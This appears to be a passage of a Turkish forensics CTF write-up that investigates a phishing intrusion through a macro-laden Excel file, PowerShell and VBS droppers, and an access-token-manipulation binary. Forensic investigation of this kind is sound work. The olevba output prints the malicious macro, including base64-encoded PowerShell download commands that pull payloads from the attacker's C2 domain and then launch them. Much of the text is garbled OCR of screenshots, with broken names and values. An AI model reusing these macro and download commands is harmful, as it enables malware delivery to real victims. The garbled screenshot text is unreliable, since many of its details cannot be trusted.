gerceklestiren kullanicini olan “RickMartinGrimes”in SID degerini gorebilirsiniz.

@ Regetry Explorer V1.6.0.0

rdable bockemerks (3211 s Profielist

Regatry Hves (1)

Frafie Imoue Foth

» [ InFleappng []

Aal o 4 Erpert

1| Tievener | Sackvemer  Brary viewer

vohmrae  [Fraeteery
suctme  [oegErpondss

Ve s ystemCrve sers

Cevap: S-1-5-21-1317116276-3394102102-2644462213-1001
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Soru 24: Bilgisayar Uzerinde Calishrilan Ag izleme Aracinin Adi Nedir? En Son
Ne Zaman Kullanildi?

Soruya gore sistemimizde bir ag izleme/paket yakalama araci calistiriimis ve biz bunun ne oldugunun
yani sira en son ne zaman kullanildigini da bulmamiz gerekiyor.

FTK Gzerine EO1 disk imajimizi ekleyip incelemeye dogrudan “Program Files” klasdrinden basliyoruz.
Windows sistemlerde kurulan programlar bu dizin altinda yer almaktadir. Bizim de cok sevdigimiz
araclardan olan “WiresHark“in sistemde var oldugunu goruyoruz. FTK bize ilgili konumda yer alan
dosyalari listelerken ayni zamanda olusturulma ve son erisim tarihlerini de gosteriyor.

Bdylece sorumuzu cevaplamis oluyoruz.

/Explore [Overview [Email |Graphics [Video [internet/Chat [Bookmarks [Live Search [index Search [System Information [Volatile 4

s Evidence ltems 4 |- File Content
=T (e x| Filtrea | Mtorat
9] $BadCius
DE.] sExtend WINDOWS EXECUTABLE 25
Q) Recyde.Bin 64bit for Windows Server 2003 B
(2] $5ecure =
-C() Accounting z
C>[5) Documents and Settings Technical File Information: %
5 perflogs
I Program Fies Image File Header H
L) Common Fles =
{0 DVD Maker Signature: 00004550 z
Lo Google Machine: AMD 64 (K8) &
£/ Internet Explorer Number of Sections: 0006 E
)i Microsoft Office 15 Fime Date Stamp:  5cab997e 2
LI Msbuld Symbols Pointer: 00000000 =
S0 Nocap Number of Symbols: 00000000
D Orade Size of Optional Header 00f0
C)iE Process Hacker 2 Characteristics:  Fie is executable (i.e. no unresolved external references).
2/ Reference Assemblies
/£y Uninstal Information
T/ Windows Defender
(5 Windows Journal Image Optional Header
() Windows Mail
/5 Windows Media Player Magic:  020b
(0 Windows NT Linker Versien: 1412
P/ Windows Photo Viewer Size of Code: 00306200
/0 Windows Portable Devices Size of Initialized Data:  104aba00
£/ Windows Sidebar Size of Uninitialized Data: 00000000
() WindewsPowershel Address of Entry Point:  002b0180
W wireshark Base of Code: 00001000 v
)5 Program Fies (x86) Image Base: 0000000140000000 +
L/ Progriambata Section Alignment: 00001000 s | @
o) Recovery -
() System Volume Information
DO sers FileContent | Properties | Hex Interpreter
= Windowe ~
File List
5574 % E - | @ @ | 0 omal ~|  Display Time Zone: Arap Standart Saati (From local machine) Y Y
[~ name bd _ [meme [e [pam Cotegery [psze [ Lo o5 [sial || creswed e [Modfi
) windowsprintersupport. di. FleSlace 123863 chupacabra_CTF_2022.E01Partition 2/NONAME [NTFS]/[root], SackS... 13688 13688 nja nfa nja
O winsparke.di 576 dl chupacabra_CTF_2022.E01/Parttion 2/NONAME [NTFS)/root]JProgram Fies Wireshark MinSparkie.di Exe 125KB  1924KB  242b9.. bob4sd..  8.04.2019 21:585:46 (20190408 18:58:96 LTC) 73.03.2022 16:48:57 (2022-03-23 13:48:57UTC) 8,04
O[5 winsparkle.d FileSlack 124127 chupacabra_CTF_2022.E01/Partition 2/NONAME [NTFS]/[root] fPragram Files/WiresharkMinSparkie. dI. FieSlack SlackS.. 34168 34168 nja nfa nja
o wireshark-filter.html 30359 html chupacabra. 2022.E01/Par fition 2/NONAME [NTFS]/[root] /Program Files/Wireshark wireshark-filter. html HTML 20,00KB  19,67KB  01f62f. b6 12. 8.04.
O e 20682 exe chupacabra, 2022.E01Par fition 2/NONAME [NTFS)/[root] Program Fies/Wiresh: ark exe Exe 7876KB __ 7875KB [ .04,
[ wireshark. exe. Fileslack 123687 chupacabra_CTF_2022.£01/Parfition 2/NONAME [NTFS]/[root] fProgram Files/Wireshark Wireshark.exe.FileSlack SackS... 8568 8568 nfa
= wireshark.html 30360 html chupacabra_CTF_2022.E01/Partition 2/NONAME [NTF5]/[root] Program Fies/Wireshark fwireshark. html HIML 2240KB  221,5KB  7b70d3.. 6debal... 8.04.2019 21:47:32 (2015-04-08 18:47:32UTC) 23.03.2022 16:48:57 (2022-03-23 13:48:57 UTC) 8041
O wireshark.htm. Fiesiack 124150 chupacabra_CTF_2022 E01fPartition 2/NONAME [NTFS]/[root] Program Files/Wireshark/wireshark. himl. FileSlack SackS.. 21508 21508 nja nfa nja
LI wiretap 29448 chupacabra_CTF_2022.£01/Partition 2/NONAME NTF]/Troot]Program Fies/Wireshark/plugins/3.0/iretap Foder 1528 1528 23.03,2022 16:51:18 (2022-03-23 13:5 1118 UTC) 23.03.2022 16:51:18 (2022-03-23 13:51: 18 UTC) 23.08
OE wea 30364 <missin... chupacabra_CTF_2022 ED1/Partition 2/NONAME [NTFS]/[root] /Program Fies/Wireshark/uka Thittext 12,00KB 10,57KB  53ffa5.. 6adag2. 8.04.2019 21:47:30 (2019-04-08 18:47:30 UTC) 23.03.2022 16:48:57 (2022-03-23 13:48:57 UTC) 8.04.
ML wka Fileslad 124130 chupacabra CTF 2022.E01/Partition 2/NONAME INTFS1/Irootl Proaram Files/Wireshark/wka. FileSlack SlackS... 14638 14638 nia nia nia
< >
Loaded: 1,134 [ Fitered: 1,134 [Total: 1,134 [ Highlighted: 1 [ checked: 15 [ Total Lsize: 191,0 M8

chupacabra CTF_2022.E01/Partition 2/NONAME [N

Cevap: 23.03.2022 16:51:16 (Turkiye saati ile.)
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Soru 25: Kotu Amach Yaziim i¢in Olusturulan Kalicihk Noktasini
Tanimlayin

Zararh yazihmlarin sistemde kalicilik saglamak amaciyla arastirmalarimiz neticesinde “MrRobot* adli bir
kullanici olusturdugunu ve bu kullanici ile islemde bulunulmadigini daha 6nce tespit etmistik.

Olay 4720, Microsoft Windows security auditing. X
Genel Ayrintilar

(® Kolay Gérinim O XML Géranama

- EventData
TargetUserName MrRobot
TargetDomainName RickMartin
TargetSid S-1-5-21-1317116276-3394102102-2644462213-1004
SubjectUserSid S-1-5-18
SubjectUserName RICKMARTIN$
SubjectDomainName WORKGROUP
SubjectLogonld 0x3e7
PrivilegeList -
SamAccountName MrRobot
DisplayName  %%1793
UserPrincipalName - i

Arastirmanin ileri safhasinda zararli yazilimi IDA Pro ile kontrol edip pseudocode’una baktigimizda
kullanici adini kontrol ettigini gérlyoruz. Bunun da tespitimizi blyUk 6lctide dogruladigini dusinuyoruz.

_main();
MessageBoxA(0i64, "User32.dll not found!", "Windows Installer”, 16i64);
36 = -1i64;
4 = Bis4;
i = pi64;
v3 = (char *)getenv("USERNAME");
34 = deblank(v3);
4 = std::operator<<<std::char_traits<char>>(refptr__7ZSt4cout);
std::ostream: :operator<<(v4, refptr__ ZSt4endlIcStllchar_traitsIcEERStl3basic_ostreamIT_T@_ES6_);

32 = 1024;

33 = WSAStartup(514i64, v17);
if ( v33 )
1

printf("WSAStartup failed with error: %d\n", v33);

result = 1;

}
else

Cevap: “MrRobot kullanicisi®
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Soru 26: Kotu Amach Yiritilebilir Dosya Hangi Dizine indirildi?

Daha dnceki sorularda da yanitladigimiz Uzere, hedef alinan calisanimiz “Rick Martin” kendisine
“Yandex.Mail” servisinin “mail.yandex.com.tr” adresinden gelen mailden “Body Mass Index.xlsm” isimli
bir Excel dosyasi indirmistir. Indirdigi dizin bilgisini Google Chrome’un gecmis bilgisinden elde ettik.

& Yeni Veritabani % Veritabani Ag . Dedgisiklikleri Kaydet ¢ Degisiklikleri Geri Al @Proje Ag HProjeyi Kaydet (= Veritabani Ekle 3 Veritabani Kapat
Veritabani Yapist ~ Veriyi Goriintiile  Pragmalan Diizenle SQL kodunu yiiriit Veritabani Hicresini Diizenle ]
. a5 a o & 4 .
Tablo: | downioads Yle % v B e B8 4 & & o o 201 - PR
id guid current_path target_path start_time received
\F\Itre |F\\tre Filtre Filtre |F\Itre Filtre SBIC: \Users\RickMartinGrimes\Downloads\Body Mass

1 1f2cblc30-68f7-dbad-.. Ci.. 13202523441506635

Suan da hiicresinin iginde bulunan verinin tipi: Metin / Nimerik

Uygula
56 karakter e

Uzak Bilgisayar &

Kmlik  Select an identity to connect

Cevap: “C:\Users\RickMartinGrimes\Downloads\Body Mass Index.xlsm”

Soru 27: Koto Amach Yurutulebilir Dosyanin Olusturuima Zamani
Nedir?

EO1 imajindan ayiklamis oldugumuz Google Chrome “History” bilgisi incelenirken dosyanin indirilme yani
“start_time” verisi “13292523441506635” olarak belirtiimistir.

Bu veriyi “https://www.epochconverter.com/webkit” adresinden decode ettigimizde “GMT: Wednesday,
23 March 2022 15:37:21” verisine ulasmaktayiz. Tlrkiye GMT+3 saati ile 18:37:21 diyebiliriz.

&Yeni Veritabani «Veritabani Ag . Dedjigiklikleri Kaydet £ Dedgisiklikleri Geri Al @Proje A EIProjeyi Kaydet e Veritabani Ekle % Veritabani Kapat
Veritabani Yapist Veriyi Goriintiile Pragmalan Diizenle SQL kodunu yiiriit Veritabani Huicresini Diizenle g X
Tablo: [ s Yz s s« ne me %o e @l s -
id quid current_path target_path start_time received
\F\\tre |F\\tre Filtre |F\Itre Filtre Filtre L L TG

1 1 f2cb1c30-68f7-4bad-... C... C.. 13292523441506635

Suan da hiicresinin iginde bulunan verinin tipi: Metin / Niimerik

Uygula
17 karakter v

Uzak Bilgisayar g X

Kmlik Select an identity to connect

Cevap: “GMT: Wednesday, 23 March 2022 15:37:21”
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Soru 28: Saldirgan Hangi Dizindeki Dosyalan Sikigtirdi?

Onceki sorularda saldirganin “7-Zip” ile bazi dosyalari sifreli olarak sikistirdigini bulmustuk. FTK ile
sikistirmanin yapildigl “2022.7z” dosyasini disk imajinda arattigimizda kurbanin diskinin ana dizinin de
“Accounting” isimli bir dizin yer aldigini ve arsivlemenin burada gerceklestigini goriyoruz.

Explore [Overview [Email [Graphics [Video [intemet/Chat [Bookmarks [Live Search [index Search [System Information [Volatile

4P
" Eadence tems | 4 b File Content
455 [i] Evidence Hex Natural
{£3Q) chupacabra_CTF_2022.E01
@ Partition 1 WINDOWS EXECUTABLE 25
i 64bit for Windows Server 2003 H
ST T3 NONAVE [NTFS]
L) [orphan] =
(==Y Technical File Information: E
O [3) sBadcius
0 extend Image File Header z
06 $Recyde Bin =
100 (9] seare S . =
fgnature: 00004550 =
& Accounting| Machine: AMD 64 (K8) g
() Documents and Settings Number of Sections: 0006 5
(&5 Perflogs Time Date Stamp:  Scabd97e 2
C0) Program Files Symbols Pointer: 00000000 E
(3 Program Files (x86) Number of Symbols: 00000000
& ProgramData Size of Optional Header 00f0
) Recovery Characteristics:  File is executable (i.e. no unresolved external references).
5 System Volume Information
D Users
L3 Windows
O[5 [unalicated space] Image Optional Header
> Ll Unpartitioned Space [basic disk]
25Q) xemexport.xsm.ad 1 Magic: 0206
Linker Version: 14.12
Size of Code: 00306200
Size of Iitialized Data:  004abal0
Size of Uninitialized Data: 00000000
Address of Entry Point:  002b0180
Base of Code: 00001000 v
Inage Base:  0000000140000000 N
Section Alignment: 00001000 A
File Content | Properties |  Hex Interpreter
- & & | romal ~|  Display Time Zone: Arap Standart Saati (From local machine) &
Label Itemz | Ext Path [ Category [Psze [Lsze  [mDs st || crested [Accessed [ Mocifi &
O 20272 2135 7 chupacabra_CTr_2072.E01/Par titn 2/NONAWE INTFS/lroot)fAccoljnting/2022. 72 7Zp 21IKE  2111K8  fbfeeb.. Se6laf..  23.03.2022 15:48:3 (2022-03-23 15:48:36 UTC) 23,03,2022 16:48:36 (022-03-23 15:49:36 UTC) 23.03
[]L3 2022.72FileSlack 79002 chupacabra_CTF_2022,E01/Partition 2/NONAME [NTFS]/lroat] fAccednting/2022. 72 FieSlack Slacks.. 9958 9958 nja nia nfa
Oo 29445 chupacabra_CTF_2022.E01/Partiton 2/NONAVE INTFS]/[root]Progrhm Files \Wireshark/plugins/3.0 Foder 338 338 23.03.2022 16:51: 18 (2022-03-23 13:51:18 UTC) 23.03.2022 16:51:18 (2022-03-23 13:51:18 UTC) 23.03
0= 7ea s dl chupacabra_CTF_2022.£01Parttion 2INONAVE INTFS)/root]Accoljnting/ 722, di e 36,0KB  I760KD 9SfelS.. BS%cs.  23.03.2022 194822 (20220323 15:40:22UTC)  23.03.2022 18:48:22 (20220323 154822 UTC) 23,03
O5 7a.exe 213 exe chupacabra_CTF_2022.E01/Partition 2/NONAME [NTFS][root] fAccolnting 723, exe Exe 1204K8 120268 b7b747.. 20c035..  23.03.2022 18:48:53 (2022-03-23 15:48:53 UTC) 23.03.2022 18:48:53 (2022-03-23 15:48:53 UTC) 23.03
[]L2 7z.exe Filesiack 73007 chupacabra_CTF_2022.E01/Partition 2/NONAME [NTFS]/froot]fAccodnting/7za. exe Fileslack Slack S 1538 15368 nfa nia nfa
Elj Zoadl 2137 d chupacabra_CTF_2022.E01/Partition 2/NONAME [NTFS]/[root] /Accednting/7zxa. dil Exe 212,0KB  210,0KB  b478b9.. 97cc58..  23.03.2022 18:48:39 (2022-03-23 15:48:39 UTC) 23.03.2022 18:48:39 (2022-03-23 15:48:39 UTC) 23.03
]2 7oxa.di Fieslack 73008 chupacabra_CTF_2022.E01/Partiton 2/NONAVE [NTFS][root] faccodnting/ 72xa. dI. FileSlack Slacks.. 20488 20488 nja nfa nfa
[]= accesssmo-P1B 28764 <missin... chupacabra_CTF_2022.E01/Partition 2/NONAME [NTFS]/[root], 7hittext 80,00KB  76,43KB  0fSe93.. 73da47.. 27.06.2011 22:50:30 (2011-06-27 15:50:30 UTC) 23.03.2022 16:51:19 (2022-03-23 13:51:19 UTC) 27.06
L= accesssmp-pis-org 28763 <mssn... chupacabra_CTF_2022.ED1/Parttion 2/NONAVE [NTFS]/[roof] ESSEINDPL. 7bittext 5200K8 548K 83706 921352. 27.06.201122:80:32 (0110627 19:50:32UTC)  23.03.2022 16:51:18 (0220323 1SLIOUT)  27.06
ML accessamnom ledack 1231 bca CTE 2022 £01parition 2NONAIE INTES] CESSBINDPL... SlackS... 36585 36588 nia nla nfa V¥
<
“ A H ”
.
Cevap: “Accounting
. o o
Soru 29: 7-Zip Arsivinde Ka¢ Dosya Var?
-
. .
« ” e e o o e
2022.77" arsivini actigimizda 8 adet dosya oldugunu goruyoruz.
Ad Boyut PaketlenmigB... Degistirilme Oznitelikler CRC Sifrelenmig  Yontem Blok Klasorler
@Accounting Manager Jo... 1457755 2161200 2022-03-0910:17 A 674DAAR3 + LZMA2:22 TzZA... 0
@Accounting Slips.docx 30402 2022-03-09 09:53 A 001D0C74 + LZMA2:22 7ZA... 0
@Accounting Technician ... 641 867 2020-02-24 05:35 A 6D050637 + LZMA2:22 TZA... 0
@ Bank Accountant Resu... 128 456 2019-07-09 04:36 A D90887EB + LZMA2:22 TzZA.. 0
@Cover Letter for Accoun... 635235 2019-05-30 10:50 A 582650A8 + LZMA2:22 TZA.. 0
@ Restaurant Response to ... 624779 2021-04-09 10:46 A 41F05DC4 + LZMA2:22 TZA... 0
@ Restaurant Tax Deductio... 618 804 2021-01-21 02:34 A F3865E6B + LZMA2:22 TzZA... 0
@ Uniform Chart of Accou... 29936 2022-03-09 09:53 A 9D8ODF2A + LZMA2:22 TZA... 0

Cevap: “8 dokiman var.”
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Soru 30: 2022.7z icerisinde Yer Alan “Accounting Manager Job
Description Template” Dosyasinin Olusturucu Bilgisi Nedir?

Dosyayi olusturan kisiyi bulabilmek icin “ExifTool” aracini kullandik ve kolaylikla sonuca ulastik.

v kali@kali: ~/Desktop/2022

File Actions Edit View Help

ent_Types].xml

: Megha Sharma

cription =
t Modified By T Me Sharma

11

Ayrica belgelere dair metadata bilgilerini almak icin Windows’un sag tik “6zellikler” sekmesini de kullanabiliriz.

Kaynak
Yazarar Megha Shama
Son kaydeden Megha Shama
Dizeltme numarasi 4

Surim numarasi

Program adi Microsoft Office Word
Sirket

Yonetici

igerk olusturma tarihi 23.11.2020 06:18
Son kaydetme tarihi 23.11.2020 12:04

Son yazdirma tarihi
Toplam dizenleme suresi  00:30:00

Igerik
igenk durumu
igenk Turu application/vnd.openxmiformats-officedocu...
Sayfa 5
Sozcuk sayimi 476

Cevap: “Megha Sharma”
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Soru 31: “2022.7z"” Arsivindeki “Uniform Chart of Accounts”
Dosyasinin Olusturma Bilgisi Nedir?

“Uniform Chart of Accounts” dékimaninin olusturulma tarihini bulabilmek icin yine “ExifTool” aracini
kullandik ve sonuca ulastik. ExifTool bu tarz metadata bilgilerinin toplanmasi s6z konusu oldugunda bize
oldukcga detaylh bir ¢ikti sunuyor.

1.

kali@kali: ~/Desktop/2022

File Actions Edit View Help

e 1ftool ./UniformY Chart\ of\ Accounts.docx
ExifTool Version Number 41
File Nam : Uniform Chart of Accounts.docx
-
ize
Modification Date/Time
= Access D /Ti
ile Incde ange
e Permissions

C
mpres
Uncompr e 5
File MName ontent_Types].xml

Sinan ASKIN (ADEQO)

Modified By nan ASKIN (ADEO)
sion Mumber
ate Date

Template
Total Edit Time

Spaces

Cevap: 2022:03:09 06:51:00Z
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Soru 32: Saldirganin C2 Adresi Olarak Kullandigi Domain Hangi Firmada ve
Ulkede Kayith?

Bu tarz bilgileri VirusTotal yardimiyla zaten zararlyi taratip ¢cikan baglantilar kismindan alan adina
geldigimizde veya dogrudan URL adresini arattigimizda kolaylikla gorebiliyoruz. Ayrica herhangi bir whois
sorgusu yapmamiza cogunlukla gerek kalmiyor.

Alan adinin son barindiriidigl firma olarak GoDaddy’i gérlyoruz. GoDaddy, bir ABD firmasi.

E www.ofbahar.com Q 2~ g (J €
@ () No security vendors flagged this demain as malicious
www.ofbahar.com
ofbahar.com GoDaddy.com, LLC 1 year ago 7 months ago
x| Communiy
DETECTION DETAILS RELATIONS COMMUNITY
Passive DNS Replication )
Date resolved Detections Resolver P
2021-03-10 2/89 VirusTotal 68.183.67.198

Historical Whois Lookups

Last Updated Registrar Registrant
+ 20211112 GoDaddy.com, LLC
+ 20210913 Tucows Domains Inc.
+ 20210310 Tucows Domains Inc.

Cevap: “Kayit Firmasi GoDaddy / Lokasyon: ABD”

Soru 33: Saldinnin Geldigi Ulke Muhtemelen Neresi Olabilir?

Her ne kadar saldirinin nereden geldiginin anlasilabilmesi icin pek yeterli bir bilgi olmasa da, en azindan
hangi Ulkedeki saglayicidan veya veri merkezinden baglanti kuruldugunu anlamak icin lokasyonuna
bakabiliriz. IP2Location bunun icin bigilmis kaftan.

# Share The Result Bots

Permalink https://www.ip2location.com/68.183.67.198 You can easily lookup an IP address on the below channels using the below commands.
W IP2Location Twitter Bot @ip2location 68.183.67.198
IP Address 68.183.67.198
W IP2Proxy Twitter Bot @ip2proxybot 68.183.67.198
Country ™. Germany [DE]1 ©
4 IP2Location Slack Bot /ip2location 68.183.67.198
[J Region Hessen
& > %% IP2Proxy Slack Bot /ip2proxy 68.183.67.198
O city Frankfurt am Main © Monitor @
[ Coordinates of City" 50.115520, 8.684170 (50°6'56"N  8°41'3"E)
T Latitude and Longitude are often near the center of population. These values are not
CJisp DigitalOcean LLC precise and should not be used to identify a particular address or household.
[J Local Time 09 May, 2022 05:53 PM (UTC +02:00)
[ Domain digitalocean.com

Cevap: “Almanya”
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Soru 34: Kotu Amach Yuriutulebilir/Executable Dosyalarin Adi Nedir?

Daha 6nceki sorularda yer alan bulgularimiza gére birtakim zararli dosyalarin sistemde yer aldigini
belirtmistik. Bunlardan “executable” yani yUrutulebilir dosya olarak tanimlananlarin bilgileri asagidadir.

e “BodyMassIindex.exe” (SHAL: d97b255397485325514a621b3edef59f0b124a6¢)
e “AccessToken.exe” (SHA1: dddcbc36¢9dba7faa62105049b3d8c5c726caabf)

Soru 35: Kotu Amaclh Belge ve Script Dosyalarinin Adi Nedir?

Belge boyunca yapilan ¢c6zimler dolayisiyla tekrardan bu bilgileri nasil elde ettigimize deginmiyoruz lakin
inceleme sonucunda 1'i belge, 2’si “script” yani komut dosyasl olan 3 zararli dosya bulduk. Bunlarin
bilgileri asagidadir.

e “Body Mass Index.xlsm” (SHAL: 26cf2edcec935e279740dbcc28a0372259f1a7ce)
e “notamalware.vbs” (SHAL: 24f94f5645a9661f4d5d256d898161f7fa423645)
e “notabadmalware.ps1” (SHA1: 2049dde53f7e9df4055d652e932711fa3f6¢cdd90

Soru 36: Zararllardan Biri Bir Saldin Teknigi Kullaniyor. Bu Teknigin Adi Nedir?

Sorumuzun muhatabi olan “AccessToken.exe” isimli zararlimizin hem isminden, hem de davranislari ile
“Import” ettigi API'lerden yola ¢ikarak “Access Token Manipulation” adi verilen bir teknik kullandigini
soyleyebiliriz.

Disasm: text General D05 Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs Imports Resources BaseReloc. Debug LoadZin
-+ B

Offset Name Fune. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder MNameRVA FirstThunk KR
2758 KERMEL32.dll it FALSE 3844 0 0 3BDO 3024
276C ADVAPIZZ.dIl 3 FALSE 3420 0 0 3C8A 3000
2780 MSVCP140.dll 1 FALSE 3400 0 0 3CE8 3070
2794 VCRUMTIME140... 10 FALSE 3A08 0 0 3D07C 3078
27A8 api-ms-win-crt., 4 FALSE 3B3C 0 0 3FCO EXhle
27BC api-ms-win-crt., 20 FALSE JAER 0 0 3FED 30C8
2700 api-ms-win-crt., 4 FALSE JAC4 0 0 4002 3044
27E4 api-ms-win-crt.., 1 FALSE JAED 0 0 4022 30C0 hd
KERMEL32.dll [ 18 entries ]

Call via Mame Ordinal Original Thunk  Thunk Forwarder Hint
3024 SetlUnhandledExceptionFilter - 4020 4080 - 587
3028 CloseHandle = 3BC2 3BC2 = 3E
302C Process32FirstW - 3BBO 3BBO - 440
3030 Process32MextW = 3B9E 3BY9E = 442
3034 GetlastError - 3B8E 3B8E - 26E
3038 CreateToolhelp32Snapshot = 3872 3872 = 105
303C OpenProcess - 3Bed 3Be4 - 421
3040 GetCurrentProcess - 3B50 3B50 - 224
3044 TerminateProcess - 405E 408E - 5AG
3048 IsProcessorFeaturePresent - 4082 4082 - 398
304C CueryPerformanceCounter - 40CE 40CE - 461
3050 GetCurrentProcessld - 40E8 40E8 - 225
3054 UnhandledExceptionFilter - 4064 4064 - 5C7
3058 GetCurrentThread|d = 40FE 40FE = 229
305C GetSystemTimeAsFileTime - 4114 4114 - 2F4
3060 InitializeSListHead = 412E 412E = 378
3064 IsDebuggerPresent - 4144 4144 - 304
3068 GetModuleHandleW = 4158 4158 = 286

Cevap: “Access Token Manipulation”
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Soru 37: “AccessToken.exe” Zararlisinin Hedefledigi Process Nedir?

“AccessToken.exe” dosyasini IDA Pro ile inceledigimizde ilgili saldir teknigini kullanarak sistemde hak

yukseltmek icin “winlogon.exe” isimli process’i hedefledigini gériyoruz.

.rdata: C aUnknownExcepti db "Unknown exception’,@

align 1eh
aBadArrayNewLen db "bad array new length®,@
5 align 4
3 aStringToolLong db 'string too long',@ ; DATA XREF: s 1811681
aSufAnkikKullanic db "Su anki kullanici: ¥s®,84h,8

align 1@h
allinlogonExe: ; DATA XREF: _main:loc_4814A87Tc
text "UTF-16LE™, 'winlogon.exe')al
align 4
C aSedebugprivile: DATA XREF ain+l

text "UTE-16LE", 'SeDebugPrivilege’,d
E align 1@h
aSedebugprivile @ db '[+]SeDebugPrivilege ',®Ah,8

Cevap: “winlogon.exe”

Soru 38: “AccessToken.exe” Zararhisinin Kullandigi Teknikle Calistirdigi Dosya

Nedir?

Bu bilgiye ulasmak igin de yine zararlimizi herhangi bir “diassembler” arac ile inceliyoruz. Biz IDA Pro

kullanmay! tercih ettik, siz Ghidra gibi alternatiflere de yonelebilirsiniz. Bunun sonucunda ise
“BodyMassIndex.exe” zararlisinin adi ve yoluna isaret eden stringlere rastliyoruz.

.rdata aSedebugprivile: ; DATA XREF: _main+133to

.rdata text "UTF-16LE", 'SeDebugPrivilege’,®

.rdata align 18h

.rdata aSedebugprivile_@ db '[+]SeDebugPrivilege ',84h,8

.rdata ; DATA XREF: _main+1F31

.rdata align 4

.rdata aClUsersRickmart: ; DATA XREF: _main+261tc

.rdata text "UTF-16LE", 'C:\Users‘\RickMartinGrimes\AppData‘\Local\Temp\BodyMa'
.rdata text "UTF-16LE", 'ssIndex.exe',®@

.rdata align 4

Cevap: “C:\Users\RickMartinGrimes\AppData\Local\Temp\BodyMassIndex.exe”
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Soru 39: PS1 Dosyasinin icerisinde Hangi Komut Yer Aliyor?

FTK ile “notamalware.vbs” tarafindan “RickMartinGrimes” kullanicisinin Temp dizini altinda olusturulan “PS1”
dosyasini goriintlledigimizde birtakim PowerShell komutlari ile karsilasiyoruz. Base64 ile encode edilmis kdou
decode ettigimizde bir programi calistirmak icin kullanildigini anliyoruz.

" Explore |Overview [Email |Graphics [Video [Internet/Chat [Bookmarks [Live Search [Index Search [System Information [Volatile 4 b
e 4 b File Content
D sextend o Text
o5 &Recyde.Bin
O[] sseare View Text As: [ Wi
) Accounting powershell -enc
/) Documents and Settings 0AL \OgBCAFU BJAGSATQBh, P "ABVAGMAY
S perfiogs CWBZAFQADWBIAGUADGAUAGUARABIAA==
{5 Program Files
£ ) Program Fies (x26)
) Programbata . \
Oo5 Recovery
From Basebd - CyberChef X - o x

/) System Volume Information Y +
B Users

DG Alusers & [¢] O B hitps//gchqgithubio/C

UMWY €3 & =
£E Default
L) Default User

Download CyberChef Last buid: 24 days ago Options About / Support
et : ilieries ptions oror @
M 5 RickMartinGrimes ~ — Length: 200
B0 Apadeta Operations Recipe Bl E npu end: 20 IEE T + O3 8=
TEE o
C)1E5 Appicaton Data search From Baset U/BOAGE AcgBRACOAUABY AGEAYBLAHHA CWAGAEMAOGBCAFUACUBLAHTACWBCAF 1AaQB JAGSATOBAHI]
g g EDE‘E R rom Base! AGABDAGAARWBYAGKADQB 1AHMAXAB BAHAACABEAGEAGABRAF WATABYAGHAYQBSAFWAVABL AGOAC ABCAE]
. s
B0 o N * st | v
B0 Programs A-Za-76-9+/=
oo e y
D5 Temporary Intemet Fes To Base64
5 vrtualstore
g@ Localow From Base64
£ Rosming
56 Appication Data S.t.a.n.t.-.P.r.o.c.e.s.s. LC.t
55 Contacts To Hex
o5 Cookies
CoE besiton S— =
(5 Documents STEP
C>E) Downloads o Auto Bake

o= Faurvites T bo

ws 1252 (Latin I, ANST) S

Remove non-alphabet chars

AOm i

k.M.a.r.t.i.n.6.r.i.m.e.s.
\.A.p.p.D.a.t.a.\.L.0.c.a.L.\.T.e.m.p.\.A.C.C.e.5.5.T.0.k.e.n...e.x.e. .

Output e

Cevap: “PowerShell -enc” ve “Start-Process”

Soru 40: “xIsm” Uzanth Dosyada Bir PowerShell Komutu Yer Aliyor Mu?

Bunu anlayabilmek icin dosyayi incelememiz gerekiyor. “xlsm” dosyalari makro iceren Excel dokUmanlandir
diyebiliriz. “olevba” kullandigimizda ne var ne yok her seyi gorlyoruz.

) EX¥ Administrator: Windows Powe X + | v = o X

PS C:\Akil\Analiz> olevba
olevba 6.60 on Python 3.9.12 - http://decalage.info/python/oletools

FIL .\Body Mass Index.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory

VBA MACRO Modulel.bas
in file: x1/vbaProject.bin - OLE stream: 'VBA/Modulel’

Sub Buttonl_Click()

Dim Boy As Long

Dim Kilo As Long

Dim Ara As Long

Dim Wsh , BtnCode

Set oshell = ("wScript. Lb)

Set Wsh ("WScript. ()

Set shellapp (& .Application")

oshell. N SQBUAHYAbWBrAGUALQBXAGUAYgBSAGUACQB1AGUACWBOACAALQBVAHIAAQAgGAGGAdABOAHAAOgAVACBAbDWBMAGIAYQBOAGEACGAUAGMADWBEAC
8AbgBVAHQAVQBtAGEAbAB3AGEACgBlACﬂAnglAHMAIAAtAEBAdQBBAEVAaQBSAGUAIABDADOAXABVAHHAZQByAHHAXABSAGkAVWBrAEQAVQByAHQAaQBuAECACgBpAGBAZQBZAFWAQQBWAHAARABhAHQ
AYQBCAEWAbwBjAGEADABCAFQAZQBtAHAAXABUAGBAJABhAGOAYQBSAHCAYQBYAGUALgB2AGIACWA="

oshell. ) = SQBUAHYAbWBrAGUALQBXAGUAYgBSAGUACQB1AGUACWBOACAALQBVAHIAAQAgAGGAJABOAHAAOGAVACSAbWBMAGIAYQBOAGEACgAUAGMADWBLAC
8AYQBjAGMAZQBZAHMAJABVAGSAZQBUACUAZQBUAGUAIAALAEBAdQBOAEYAaQBSAGUATABDADOAXABVAHMAZQBYAHMAXABSAGKAYWBIAEOAYQBYAHQAAQBUAECACGBPAGOAZQBZAFWAQQBWAHAARABhAHQ
AYQBCAEWAbwBjAGEADABCAFQAZQBtAHAAXABBAGMAYWBLAHMACWBUAGBAawBLAGUALgBLAHgAZQA="

oshell. Y = SQBUAHYAbWBrAGUALQBXAGUAYgBSAGUACQB1AGUACWBOACAALQBVAHIAAQAgAGgAdABBAHAAOGAVAC8ADWBMAGIAYQBOAGEACGAUAGMADWBEAC
8AQQBVAGQAeQBNAGEACWBZAEKADgBKAGUAeAAUAGUACABLACAALQBPAHUAJABGAGKADABLACAAQWAGAFWAVQBZAGUACgBZAFWAUgBpAGMAawBNAGEACgBOAGKADGBHAHIAaQBtAGUACWBCAEEACABWAEQ
AYQBOAGEAXABMAG8AYWBhAGWAXABUAGUADQBWAFWAQQBVAGQAeQBNAGEACWBZAEKADgBKAGUAEAAUAGUAEABLAA=="

Application.Wait (Now + TimeValue("®8:00:18"))
shellapp. Execute "wscript.exe", "C:\Users\RickMartinGrimes\AppData\Local\Temp\notamalware.V! , Null, "runas", 1

BtnCode = Wsh .Popup("Please waiting, your BMI is calculating", 10, "Calculating...", @ + 64)

Cevap: “powershell -encodedcommand”
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Soru 41: “.xIsm” Uzantih Dosyanin icinde Bir Windows Uygulamasi
